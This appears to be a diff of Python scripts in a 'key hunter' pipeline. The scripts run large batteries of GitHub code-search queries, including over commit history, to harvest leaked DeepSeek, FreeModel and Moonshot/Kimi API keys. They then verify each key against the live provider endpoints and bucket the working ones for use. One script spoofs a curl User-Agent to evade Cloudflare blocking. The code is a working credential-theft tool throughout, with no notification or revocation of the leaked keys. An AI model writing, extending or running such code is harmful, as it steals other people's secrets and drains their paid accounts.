return "USABLE", f"balance: {body[:120]}"
if code in (402,429): return "NO_BALANCE", f"bal HTTP {code}: {body[:140]}"
if code == 401: return "DEAD","401 unauthorized"
if code == 0: return "UNKNOWN", body[:160]
return "NO_ACCESS", f"bal HTTP {code}: {body[:140]}"
def classify_chat(code, body):
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"id"' in bl: return "USABLE","chat 200 OK"
if any(x in bl for x in ("balance","quota","arrearage","insufficient")):
return "NO_BALANCE", f"chat: {body[:120]}"
return "USABLE", f"chat: {body[:120]}"
if code in (402,429): return "NO_BALANCE", f"chat HTTP {code}: {body[:140]}"
if code == 401: return "DEAD","chat 401"
if code == 0: return "UNKNOWN", body[:160]
return "NO_ACCESS", f"chat HTTP {code}: {body[:140]}"
RANK = {"USABLE":4,"NO_BALANCE":3,"NO_ACCESS":2,"UNKNOWN":1,"DEAD":0}
def verify_key(key):
best, best_detail = "DEAD", ""
code, body = http_request("GET","/user/balance",key)
v,d = classify_balance(code,body)
if RANK[v] > RANK[best]: best,best_detail = v,d
if best == "USABLE": return best,best_detail
for model in ("deepseek-chat","deepseek-reasoner"):
code,body = http_request("POST","/v1/chat/completions",key,body={
"model":model,"messages":[{"role":"user","content":"hi"}],"max_tokens":1})
v,d = classify_chat(code,body); d = f"[{model}] {d}"
if RANK[v] > RANK[best]: best,best_detail = v,d
if best == "USABLE": return best,best_detail
return best,best_detail
def valid_key(k):
if not KEY_RE.fullmatch(k): return False
low = k.lower()
return not any(b in low for b in BLACKLIST)
SEARCH_QUERIES = [
# env-var spellings
'"DEEPSEEK_API_KEY" extension:env', '"DEEPSEEK_KEY" extension:env',
'"DEEPSEEK_TOKEN" extension:env', '"DEEPSEEK_API_KEY" filename:.env',
'"DEEPSEEK_API_KEY" extension:env.example', '"DEEPSEEK_API_KEY" extension:env.local',
# config files by extension
'"DEEPSEEK_API_KEY" extension:yaml', '"DEEPSEEK_API_KEY" extension:yml',
'"DEEPSEEK_API_KEY" extension:json', '"DEEPSEEK_API_KEY" extension:toml',
'"DEEPSEEK_API_KEY" extension:ini', '"DEEPSEEK_API_KEY" extension:cfg',
'"DEEPSEEK_API_KEY" extension:conf', '"DEEPSEEK_API_KEY" extension:properties',
'"DEEPSEEK_API_KEY" extension:env',
# more languages
'"DEEPSEEK_API_KEY" extension:py', '"DEEPSEEK_API_KEY" extension:ipynb',
'"DEEPSEEK_API_KEY" extension:js', '"DEEPSEEK_API_KEY" extension:ts',
'"DEEPSEEK_API_KEY" extension:go', '"DEEPSEEK_API_KEY" extension:java',
'"DEEPSEEK_API_KEY" extension:kt', '"DEEPSEEK_API_KEY" extension:rb',
'"DEEPSEEK_API_KEY" extension:php', '"DEEPSEEK_API_KEY" extension:cs',
'"DEEPSEEK_API_KEY" extension:rs', '"DEEPSEEK_API_KEY" extension:swift',
'"DEEPSEEK_API_KEY" extension:dart', '"DEEPSEEK_API_KEY" extension:ex',
'"DEEPSEEK_API_KEY" extension:exs', '"DEEPSEEK_API_KEY" extension:scala',
'"DEEPSEEK_API_KEY" extension:sh',
# api.deepseek.com in code
'"api.deepseek.com" extension:py', '"api.deepseek.com" extension:js',
'"api.deepseek.com" extension:ts', '"api.deepseek.com" extension:go',
'"api.deepseek.com" extension:java', '"api.deepseek.com" extension:php',
'"api.deepseek.com" extension:rb', '"api.deepseek.com" extension:cs',
'"api.deepseek.com" extension:rs', '"api.deepseek.com" extension:json',
'"api.deepseek.com" extension:yaml', '"api.deepseek.com" extension:yml',
'"api.deepseek.com/v1"', '"api.deepseek.com/v1/chat/completions"',
'"api.deepseek.com" bearer sk-', '"https://api.deepseek.com" "sk-"',
# model strings with keys
'"deepseek-chat" "sk-"', '"deepseek-reasoner" "sk-"',
'"deepseek-chat" "api_key"', '"deepseek-reasoner" "api_key"',
'"deepseek-chat" Authorization: Bearer sk-',
'"deepseek-reasoner" Authorization: Bearer sk-',
# direct assignment
'DEEPSEEK_API_KEY=sk-', 'DEEPSEEK_KEY=sk-', 'DEEPSEEK_TOKEN=sk-',
'deepseek_api_key=sk-', 'DeepSeek_API_KEY=sk-', 'deepseekToken=sk-',
'deepseek_api_secret=sk-', 'DEEPSEEK_API_SECRET=sk-',
# openai-compat / base_url
'"base_url" "api.deepseek.com" extension:py',
'"base_url" "https://api.deepseek.com"',
'"base_url" "api.deepseek.com" extension:js',
'"api.deepseek.com" "OPENAI_API_KEY"',
'"api.deepseek.com" filename:.env', 'deepseek "base_url" filename:.env',
# config filenames
'deepseek "sk-" filename:config.json', 'deepseek "sk-" filename:config.toml',
'deepseek "sk-" filename:config.yaml', 'deepseek "sk-" filename:config.yml',
'deepseek "sk-" filename:config.py', 'deepseek "sk-" filename:settings.py',
'deepseek "sk-" filename:local.settings.json',
'deepseek "sk-" filename:application.yml',
'deepseek "sk-" filename:application.properties',
'deepseek "sk-" filename:secrets.yaml', 'deepseek "sk-" filename:secrets.yml',
# docker / k8s / CI
'"DEEPSEEK_API_KEY" filename:docker-compose',
'"DEEPSEEK_API_KEY" filename:Dockerfile',
'"DEEPSEEK_API_KEY" path:.github',
'"DEEPSEEK_API_KEY" path:.gitlab',
'"DEEPSEEK_API_KEY" filename:.gitlab-ci',
'"api.deepseek.com" filename:values.yaml',
'"api.deepseek.com" filename:deployment.yaml',
'"api.deepseek.com" filename:configmap',
# generic .env with deepseek
'deepseek "sk-" filename:.env', 'deepseek-chat filename:.env',
'deepseek-reasoner filename:.env', '"deepseek/v1" filename:.env',
# SDK / client init
'DeepSeek(api_key=sk-', 'OpenAI(api_key=sk- "api.deepseek.com"',
'deepseek.DeepSeek sk-', 'new DeepSeek sk-',
# Chinese terms / docs / README
'"deepseek" "sk-" extension:md', '"deepseek" "api_key" extension:md',
'deepseek "sk-" filename:README', '"DEEPSEEK_API_KEY" filename:README',
'deepseek "\u7834\u89e3" sk-', 'deepseek "\u514d\u8d39" sk-',
# proxy/gateway projects that embed upstream keys
'"DEEPSEEK_API_KEY" filename:docker-compose.yml',
'"deepseek" "sk-" filename:docker-compose',
'"deepseek" "sk-" filename:.env.example',
# one-api / new-api style channel configs
'"deepseek" "sk-" filename:渠道', '"deepseek" "key" filename:channels',
# broader bare key near deepseek
'deepseek sk-[a-f0-9]', '"sk-" "deepseek-chat" extension:py',
]
def github_token():
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if tok: return tok
try:
out = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
if out.returncode == 0: return out.stdout.strip()
except FileNotFoundError: pass
hosts = Path.home()/".config"/"gh"/"hosts.yml"
if hosts.exists():
for line in hosts.read_text().splitlines():
line=line.strip()
if line.startswith("oauth_token:"): return line.split(":",1)[1].strip()
return None
def gh_api(url, token, wants_json=True):
headers = {"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
if token: headers["Authorization"]=f"Bearer {token}"
req = urllib.request.Request(url, headers=headers)
for attempt in range(6):
try:
with gh_opener().open(req, timeout=30) as resp:
raw = resp.read()
return json.loads(raw) if wants_json else raw
except urllib.error.HTTPError as e:
if e.code in (403,429):
reset = e.headers.get("X-RateLimit-Reset")
wait = max(int(reset)-int(time.time()),5) if reset else 30
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
time.sleep(wait+1); continue
if e.code == 422: return None
e.read()
return None
except Exception as e:
print(f" network: {e}", file=sys.stderr); time.sleep(3)
return None
def gh_search(query, token, per_page=100, max_pages=10):
for page in range(1, max_pages+1):
url = ("https://api.github.com/search/code"
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
data = gh_api(url, token)
if not data: return
items = data.get("items",[])
if not items: return
for it in items: yield it
if len(items) < per_page: return
time.sleep(2.2 if token else 7)
def to_raw_url(html_url):
return html_url.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
def split_html_url(html_url):
# https://github.com/owner/repo/blob/sha/path
try:
m = re.match(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)", html_url)
if m: return m.group(1), m.group(2), m.group(3)
except Exception: pass
return None,None,None
def fetch_raw(url):
req = urllib.request.Request(url, headers={"User-Agent":"Mozilla/5.0"})
try:
with gh_opener().open(req, timeout=20) as resp:
return resp.read().decode("utf-8","replace")
except Exception:
return ""
def make_cached_fetch(cc, fetcher=fetch_raw):
"""fetch_raw replacement served by ContentCache (immutable blob SHA)."""
def cached(url):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url)
return cached
def list_file_commits(repo, path, token, max_commits=3):
"""List commit SHAs touching a file (core API, 1 per page*path). Bounded."""
shas = []
url = ("https://api.github.com/repos/"+repo+"/commits"
f"?path={urllib.parse.quote(path)}&per_page={max_commits}")
data = gh_api(url, token)
if not data: return shas
for c in data:
try: shas.append(c["sha"])
except Exception: pass
return shas
def fetch_commit_file(repo, sha, path, token):
"""Fetch file content at a given commit via raw.githubusercontent."""
url = f"https://raw.githubusercontent.com/{repo}/{sha}/{path}"
return fetch_raw(url)
def extract_keys(text, keys, src):
n = 0
for k in KEY_RE.findall(text or ""):
if valid_key(k) and k not in keys:
keys[k] = src; n += 1
return n
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--verify-only", action="store_true")
ap.add_argument("--workers", type=int, default=20)
ap.add_argument("--commit-workers", type=int, default=10)
ap.add_argument("--max-commits", type=int, default=0,
help="per-file commit history depth (0 disables Stage 2c)")
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--no-cache", action="store_true",
help="ignore verification cache")
ap.add_argument("--no-content-cache", action="store_true",
help="ignore raw file content cache (always re-crawl)")
ap.add_argument("--resume-search", action="store_true",
help="load candidate files from candidates.txt checkpoint")
args = ap.parse_args()
keys = {}
if GLOBAL_EXTRACTED.exists():
for line in GLOBAL_EXTRACTED.read_text().splitlines():
if not line.startswith("DeepSeek|"): continue
parts = line.split("|",3)
if len(parts) >= 3 and valid_key(parts[1]):
keys[parts[1]] = parts[2]
# also merge v1 extracted
v1 = HERE/"results"/"deepseek_deep"/"extracted_keys.txt"
if v1.exists():
for line in v1.read_text().splitlines():
p = line.split("|",1)
if p and valid_key(p[0]): keys.setdefault(p[0], p[1] if len(p)>1 else "v1")
print(f"loaded {len(keys)} previously-known DeepSeek keys")
candidates = {}
if args.resume_search and CANDIDATES_FILE.exists():
for line in CANDIDATES_FILE.read_text().splitlines():
if "|" in line:
u,r = line.split("|",1); candidates[u]=r
print(f"resumed {len(candidates)} candidates from checkpoint")
if not args.verify_only:
token = github_token()
print(f"GitHub token: {'yes' if token else 'NO'}\n")
print("=== Stage 1: code search ===")
for i,q in enumerate(SEARCH_QUERIES,1):
print(f" [{i:3d}/{len(SEARCH_QUERIES)}] {q}")
try:
for it in gh_search(q, token):
u = it.get("html_url","")
if u and u not in candidates:
candidates[u] = it.get("repository",{}).get("full_name","?")
except Exception as e:
print(f" error: {e}", file=sys.stderr)
if i % 10 == 0:
with open(CANDIDATES_FILE,"w") as f:
for u,r in candidates.items(): f.write(f"{u}|{r}\n")
with open(CANDIDATES_FILE,"w") as f:
for u,r in candidates.items(): f.write(f"{u}|{r}\n")
print(f" candidate files: {len(candidates)}")
print("\n=== Stage 2a: fetch HEAD raw & extract ===")
fetched=new=0
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
cfetch = make_cached_fetch(cc)
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(cfetch, to_raw_url(u)): u for u in candidates}
for fut in as_completed(futs):
u=futs[fut]; fetched+=1
try: content=fut.result()
except Exception: content=""
new += extract_keys(content, keys, u)
if fetched % 200 == 0:
print(f" {fetched}/{len(candidates)} keys={len(keys)} new={new} "
f"cache={cc.hits}hit/{cc.misses}fetch")
with open(EXTRACTED_FILE,"w") as f:
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
st=cc.stats()
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
f"({st['bytes_served']} bytes from cache)")
print(f" after HEAD: {len(keys)} keys ({new} new)")
if args.max_commits > 0 and token:
print(f"\n=== Stage 2c: per-file commit history (depth {args.max_commits}) ===")
repo_paths = {}
for u in candidates:
repo,sha,path = split_html_url(u)
if repo and path: repo_paths.setdefault(repo,set()).add(path)
tasks = []
for repo, paths in repo_paths.items():
for path in paths: tasks.append((repo,path))
print(f" {len(tasks)} (repo,path) pairs across {len(repo_paths)} repos")
done=0
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
cfetch = make_cached_fetch(cc)
def job(rp):
repo,path = rp
shas = list_file_commits(repo,path,token,args.max_commits)
found=[]
for sha in shas:
txt = cfetch(f"https://raw.githubusercontent.com/{repo}/{sha}/{path}")
for k in KEY_RE.findall(txt or ""):
if valid_key(k): found.append((k,f"https://github.com/{repo}/blob/{sha}/{path}"))
return found
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
futs={pool.submit(job,t):t for t in tasks}
for fut in as_completed(futs):
done+=1
try:
for k,src in fut.result():
if k not in keys: keys[k]=src; new+=1
except Exception: pass
if done % 100 == 0:
print(f" {done}/{len(tasks)} keys={len(keys)} new={new} "
f"cache={cc.hits}hit/{cc.misses}fetch")
with open(EXTRACTED_FILE,"w") as f:
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
st=cc.stats()
print(f" commit content cache: {st['hits']} hits, {st['misses']} fetched")
print(f" after commits: {len(keys)} keys")
with open(EXTRACTED_FILE,"w") as f:
for k,s in sorted(keys.items()): f.write(f"{k}|{s}\n")
if args.limit>0:
keys=dict(list(keys.items())[:args.limit])
print(f" (limited to {args.limit})")
print(f"\n=== Stage 3: verify {len(keys)} keys (workers={args.workers}) ===")
buckets={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
processed=0; start=time.time()
with CachedVerifier("deepseek", verify_key, force=args.no_cache) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
for fut in as_completed(futs):
k,s=futs[fut]; processed+=1
try: v,d=fut.result()
except Exception as e: v,d="UNKNOWN",f"exc: {e}"
buckets[v].append((k,s,d))
if processed%100==0:
el=time.time()-start
print(f" [{processed:5d}/{len(keys)}] use={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} dead={len(buckets['DEAD'])} ({processed/el:.1f}/s)")
print(f" cache: {ver.stats()['hits']} hits, {ver.stats()['live']} live queries")
el=time.time()-start; print(f"\nDone in {el:.1f}s")
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
p=RESULTS_DIR/f"{name.lower()}.txt"
with open(p,"w") as f:
for k,s,d in sorted(buckets[name]): f.write(f"{k}|{s}|{d}\n")
print(f" {name:11s}: {len(buckets[name]):5d} -> {p.name}")
with open(RESULTS_DIR/"all_non_401.txt","w") as f:
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN"):
for k,s,d in sorted(buckets[name]): f.write(f"{name}|{k}|{s}|{d}\n")
if buckets["USABLE"]:
print("\n=== USABLE KEYS ===")
for k,s,d in sorted(buckets["USABLE"]):
print(f" {k}\n src: {s}\n {d}")
if __name__ == "__main__":
main()
@@ -0,0 +1,419 @@
#!/usr/bin/env python3
"""FreeModel deep hunter.
Pipeline:
1. Search GitHub code for FreeModel key leaks (fe_oa_ prefix)
2. Fetch raw file content and extract keys
3. Deep-verify each key against BOTH FreeModel endpoints:
- https://cc.freemodel.dev/v1/messages (Anthropic-style)
- https://api.freemodel.dev/v1/chat/completions (OpenAI-style)
4. Classification rule (LO said: anything that is NOT 401 is kept):
- 200 valid response → USABLE
- 402 / 429 → NO_BALANCE (key valid, quota/rate)
- 400 / 403 / 404 / other → NO_ACCESS (key valid, model/endpoint issue)
- network / timeout → UNKNOWN
- 401 → DEAD (discard only this)
Outputs (results/freemodel/):
extracted_keys.txt — all unique keys with source URLs
usable.txt — 200 OK
no_balance.txt — 402/429
no_access.txt — other non-401 HTTP codes
unknown.txt — network errors
dead.txt — 401 only
"""
import argparse
import json
import os
import re
import subprocess
import sys
import time
import urllib.request
import urllib.error
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
import sys as _sys
_sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
from content_cache import ContentCache, parse_raw_url
# ── Paths ───────────────────────────────────────────────────────
HERE = Path(__file__).parent
RESULTS_DIR = HERE / "results" / "freemodel"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
EXTRACTED_FILE = RESULTS_DIR / "extracted_keys.txt"
USABLE_FILE = RESULTS_DIR / "usable.txt"
NO_BAL_FILE = RESULTS_DIR / "no_balance.txt"
NO_ACC_FILE = RESULTS_DIR / "no_access.txt"
UNKNOWN_FILE = RESULTS_DIR / "unknown.txt"
DEAD_FILE = RESULTS_DIR / "dead.txt"
# ── Search queries for FreeModel leaks ──────────────────────────
SEARCH_QUERIES = [
"fe_oa_",
"FREEMODEL_API_KEY",
"FREEMODEL_KEY",
"freemodel.dev",
"cc.freemodel.dev",
"api.freemodel.dev",
"\"fe_oa_\" filename:.env",
"\"fe_oa_\" filename:settings.json",
"\"fe_oa_\" filename:.claude",
"\"fe_oa_\" extension:py",
"\"fe_oa_\" extension:js",
"\"fe_oa_\" extension:ts",
"\"fe_oa_\" extension:yaml",
"\"fe_oa_\" extension:yml",
"\"fe_oa_\" extension:json",
"freemodel.dev extension:py",
"freemodel.dev extension:ts",
"freemodel.dev extension:js",
"FREEMODEL_API_KEY extension:env",
"freemodel x-api-key",
]
# ── Regex: FreeModel keys are fe_oa_ + 48+ hex chars ────────────
KEY_REGEX = re.compile(r"fe_oa_[0-9a-fA-F]{40,}")
# ── Deep verify endpoints ───────────────────────────────────────
ENDPOINTS = [
{
"name": "cc-anthropic",
"url": "https://cc.freemodel.dev/v1/messages",
"headers": lambda k: {
"x-api-key": k,
"anthropic-version": "2023-06-01",
"content-type": "application/json",
},
"body": json.dumps({
"model": "claude-sonnet-4-20250514",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
}).encode(),
},
{
"name": "api-openai",
"url": "https://api.freemodel.dev/v1/chat/completions",
"headers": lambda k: {
"Authorization": f"Bearer {k}",
"content-type": "application/json",
},
"body": json.dumps({
"model": "claude-sonnet-4-20250514",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
}).encode(),
},
]
# ── GitHub token ────────────────────────────────────────────────
def github_token():
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if tok:
return tok
# try gh CLI
try:
out = subprocess.run(
["gh", "auth", "token"], capture_output=True, text=True, timeout=10
)
if out.returncode == 0:
return out.stdout.strip()
except FileNotFoundError:
pass
# parse ~/.config/gh/hosts.yml (simple grep, no yaml dep)
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
if hosts.exists():
for line in hosts.read_text().splitlines():
line = line.strip()
if line.startswith("oauth_token:"):
return line.split(":", 1)[1].strip()
return None
# ── GitHub code search ──────────────────────────────────────────
def gh_api_search(query, token, per_page=100):
"""Yield code-search items for a query, paginating up to 1000 results."""
headers = {
"Accept": "application/vnd.github+json",
"User-Agent": "key-hunter",
}
if token:
headers["Authorization"] = f"Bearer {token}"
for page in range(1, 11): # 10 pages * 100 = 1000 cap (GitHub limit)
url = (
"https://api.github.com/search/code"
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}"
)
req = urllib.request.Request(url, headers=headers)
try:
with urllib.request.urlopen(req, timeout=30) as resp:
data = json.loads(resp.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
# rate limited — back off
reset = e.headers.get("X-RateLimit-Reset")
wait = max(int(reset) - int(time.time()), 5) if reset else 30
print(f" rate-limited, waiting {wait}s...", file=sys.stderr)
time.sleep(wait + 1)
continue
if e.code == 422:
return # query validation failed
print(f" HTTP {e.code} for {query!r}: {e.read()[:200]}", file=sys.stderr)
return
except Exception as e:
print(f" network error: {e}", file=sys.stderr)
return
items = data.get("items", [])
if not items:
return
for it in items:
yield it
if len(items) < per_page:
return
time.sleep(2.5) # be gentle with search API
def to_raw_url(html_url):
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
def fetch_raw(url):
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.read().decode("utf-8", errors="replace")
except Exception:
return ""
def make_cached_fetch(cc, fetcher=fetch_raw):
def cached(url):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url)
return cached
# ── Deep verify ─────────────────────────────────────────────────
def http_post(url, headers, body, timeout=45):
# Cloudflare blocks the default python UA (error 1010) — pretend to be curl
h = {"User-Agent": "curl/8.5.0", "Accept": "*/*", **headers}
req = urllib.request.Request(url, data=body, headers=h, method="POST")
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify(code, body):
"""Return one of USABLE / NO_BALANCE / NO_ACCESS / DEAD / UNKNOWN."""
bl = (body or "").lower()
if code == 200:
if "error" in bl and any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
return "NO_BALANCE"
return "USABLE"
if code in (402, 429):
return "NO_BALANCE"
if code == 401:
return "DEAD"
if code == 0:
return "UNKNOWN"
# 400, 403, 404, 500, 502, 503 — key was accepted but something else
return "NO_ACCESS"
def verify_key(key):
"""Try both endpoints; return best classification + per-endpoint detail."""
endpoint_results = []
best = "DEAD"
best_code = 0
best_msg = ""
best_endpoint = ""
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
for ep in ENDPOINTS:
code, body = http_post(ep["url"], ep["headers"](key), ep["body"])
verdict = classify(code, body)
endpoint_results.append((ep["name"], code, verdict, body[:200].replace("\n", " ")))
if rank[verdict] > rank[best]:
best = verdict
best_code = code
best_msg = body[:200].replace("\n", " ")
best_endpoint = ep["name"]
return best, best_code, best_endpoint, best_msg, endpoint_results
# ── Main ────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--verify-only", action="store_true",
help="Skip GitHub search; re-verify keys already in extracted_keys.txt")
ap.add_argument("--workers", type=int, default=15)
ap.add_argument("--no-cache", action="store_true")
ap.add_argument("--no-content-cache", action="store_true")
args = ap.parse_args()
keys = {}
if args.verify_only and EXTRACTED_FILE.exists():
with open(EXTRACTED_FILE) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|", 1)
if parts:
keys[parts[0]] = parts[1] if len(parts) > 1 else ""
print(f"--verify-only: loaded {len(keys)} keys from {EXTRACTED_FILE}")
else:
token = github_token()
print(f"GitHub token: {'yes' if token else 'NO (unauthenticated = 10 req/min)'}")
# ── Stage 1: search ───────────────────────────────────────
print("\n=== Stage 1: GitHub code search ===")
candidates = {}
for i, q in enumerate(SEARCH_QUERIES, 1):
print(f" [{i}/{len(SEARCH_QUERIES)}] {q}")
try:
for it in gh_api_search(q, token):
u = it.get("html_url", "")
if u and u not in candidates:
candidates[u] = it.get("repository", {}).get("full_name", "?")
except Exception as e:
print(f" error: {e}", file=sys.stderr)
time.sleep(2 if token else 6)
print(f" total candidate files: {len(candidates)}")
# ── Stage 2: extract keys ─────────────────────────────────
print("\n=== Stage 2: extract fe_oa_ keys ===")
fetched = 0
with ContentCache(force=getattr(args, "no_content_cache", False)) as cc:
cfetch = make_cached_fetch(cc)
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(cfetch, to_raw_url(u)): (u, repo) for u, repo in candidates.items()}
for fut in as_completed(futs):
u, repo = futs[fut]
fetched += 1
try:
content = fut.result()
except Exception:
content = ""
for m in KEY_REGEX.findall(content):
if m not in keys:
keys[m] = u
if fetched % 100 == 0:
print(f" fetched {fetched}/{len(candidates)}, keys={len(keys)} "
f"cache={cc.hits}hit/{cc.misses}fetch")
st = cc.stats()
print(f" content cache: {st['hits']} hits, {st['misses']} fetched")
print(f" unique keys extracted: {len(keys)}")
# merge previously-extracted FreeModel keys
prev_file = HERE / "results" / "extracted_keys.txt"
if prev_file.exists():
added = 0
with open(prev_file) as f:
for line in f:
if line.startswith("FreeModel|"):
parts = line.strip().split("|")
if len(parts) >= 3:
k = parts[1]
if k not in keys:
keys[k] = parts[2] if len(parts) > 2 else ""
added += 1
print(f" merged {added} keys from previous extracted_keys.txt")
with open(EXTRACTED_FILE, "w") as f:
for k, src in sorted(keys.items()):
f.write(f"{k}|{src}\n")
print(f" written: {EXTRACTED_FILE}")
if not keys:
print("No keys found, done.")
return
# ── Stage 3: deep verify ──────────────────────────────────
print(f"\n=== Stage 3: deep verify {len(keys)} keys (non-401 = keep) ===")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
detail_lines = []
processed = 0
start = time.time()
with CachedVerifier('freemodel', verify_key, force=getattr(args,'no_cache',False)) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(ver, k): (k, src) for k, src in keys.items()}
for fut in as_completed(futs):
k, src = futs[fut]
processed += 1
try:
verdict, code, ep, msg, eps = fut.result()
except Exception as e:
verdict, code, ep, msg, eps = "UNKNOWN", 0, "", str(e), []
buckets[verdict].append((k, src))
detail_lines.append(
f"{verdict:11s} | {k} | via={ep} code={code} | src={src} | {msg}"
)
if processed % 10 == 0:
el = time.time() - start
print(
f" [{processed}/{len(keys)}] "
f"usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])} "
f"({processed/el:.1f}/s)"
)
elapsed = time.time() - start
print(f"\n done in {elapsed:.1f}s")
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {name:11s}: {len(buckets[name])}")
# ── Write buckets ─────────────────────────────────────────
for name, path in [
("USABLE", USABLE_FILE),
("NO_BALANCE", NO_BAL_FILE),
("NO_ACCESS", NO_ACC_FILE),
("UNKNOWN", UNKNOWN_FILE),
("DEAD", DEAD_FILE),
]:
with open(path, "w") as f:
for k, src in sorted(buckets[name]):
f.write(f"{k}|{src}\n")
print(f" written: {path}")
# Combined live = everything but DEAD (LO's rule)
combined = RESULTS_DIR / "all_non_401.txt"
with open(combined, "w") as f:
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, src in sorted(buckets[name]):
f.write(f"{name}|{k}|{src}\n")
print(f" written: {combined} (all non-401 keys)")
if __name__ == "__main__":
main()
+270
View File
@@ -0,0 +1,270 @@
#!/usr/bin/env python3
"""Kimi (Moonshot AI) deep hunter.
Loads Moonshot keys from results/extracted_keys.txt and verifies them
against api.moonshot.cn using three layers:
1. GET /v1/users/me/balance — returns balance + cash_balance (CNY)
2. POST /v1/chat/completions — model moonshot-v1-8k
3. POST /v1/chat/completions — model kimi-k2-0905-preview (K2 long-context)
Classification rule (anything NOT 401 is kept):
- 200 with balance > 0 / chat OK → USABLE
- balance 0 / 402 / 429 → NO_BALANCE (key valid)
- 400 / 403 / 404 / 5xx → NO_ACCESS (key valid, model issue)
- network / timeout → UNKNOWN
- 401 → DEAD (discard only this)
Outputs in results/kimi/.
"""
import argparse
import json
import re
import sys
import time
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
OUT = HERE / "results" / "kimi"
OUT.mkdir(parents=True, exist_ok=True)
SOURCE = HERE / "results" / "extracted_keys.txt"
UA = "curl/8.5.0"
BASE = "https://api.moonshot.cn"
def http(method, path, key, body=None, timeout=20):
url = f"{BASE}{path}"
headers = {
"User-Agent": UA,
"Accept": "*/*",
"Authorization": f"Bearer {key}",
}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify_balance(code, body):
if code == 200:
try:
data = json.loads(body)
except json.JSONDecodeError:
return "USABLE", f"balance: {body[:120]}"
# Moonshot returns: {"balance":xxx,"cash_balance":xxx,...} or
# {"success":true,"data":{"balance":...}} on some accounts
bal = None
if isinstance(data, dict):
inner = data.get("data") if isinstance(data.get("data"), dict) else data
avail = inner.get("available_balance")
if avail is None:
avail = inner.get("balance")
cash = inner.get("cash_balance")
if avail is not None:
try:
val = float(avail)
if val > 0:
return "USABLE", f"balance: CNY {val}"
# available=0 — try voucher balance or check arrears
voucher = inner.get("voucher_balance", 0)
try:
if float(voucher) > 0:
return "USABLE", f"voucher: CNY {voucher}"
except (TypeError, ValueError):
pass
return "NO_BALANCE", f"balance=0 cash={cash}: {body[:120]}"
except (TypeError, ValueError):
pass
return "USABLE", f"balance: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"HTTP {code}: {body[:140]}"
